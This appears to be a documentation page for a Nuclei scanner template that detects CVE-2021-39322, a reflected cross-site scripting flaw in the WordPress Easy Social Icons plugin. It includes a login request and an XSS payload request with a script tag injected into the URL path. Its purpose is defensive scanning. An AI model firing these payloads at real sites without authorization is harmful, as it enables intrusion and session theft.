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WordPress Easy Social Icons Plugin < 3.0.9 - Cross-Site Scripting

ID: CVE-2021-39322

Severity: medium

Author: dhiyaneshDK

Tags: cve,cve2021,wordpress,wp-plugin,authenticated,wpscan,cybernetikz

Description

Section titled “Description”

The Easy Social Icons plugin <= 3.0.8 for WordPress echoes out the raw value of $_SERVER['PHP_SELF'] in its main file. On certain configurations including Apache+modPHP this makes it possible to use it to perform a reflected cross-site scripting attack by injecting malicious code in the request path.

YAML Source

Section titled “YAML Source”
id: CVE-2021-39322


info:
  name: WordPress Easy Social Icons Plugin < 3.0.9 - Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: The Easy Social Icons plugin <= 3.0.8 for WordPress echoes out the raw value of `$_SERVER['PHP_SELF']` in its main file. On certain configurations including Apache+modPHP this makes it possible to use it to perform a reflected cross-site scripting attack by injecting malicious code in the request path.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of the WordPress Easy Social Icons Plugin (3.0.9) or apply the vendor-provided patch to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/5e0bf0b6-9809-426b-b1d4-1fb653083b58
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39322
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39322
    - https://wpvulndb.com/vulnerabilities/5e0bf0b6-9809-426b-b1d4-1fb653083b58
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-39322
    cwe-id: CWE-79
    epss-score: 0.00234
    epss-percentile: 0.60718
    cpe: cpe:2.3:a:cybernetikz:easy_social_icons:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: cybernetikz
    product: easy_social_icons
    framework: wordpress
  tags: cve,cve2021,wordpress,wp-plugin,authenticated,wpscan,cybernetikz


http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check


        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php/</script><script>alert(document.domain)</script>/?page=cnss_social_icon_page HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
# digest: 4a0a0047304502210098361dcb3eaebf928fdef71e7f9474428c9a5c159efa183fa73ad3a388d920c8022003e70a1cc5bc1c4553c7aaa2ab503f57e37acb03406e063d901e38ca708874bc:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-39322.yaml"

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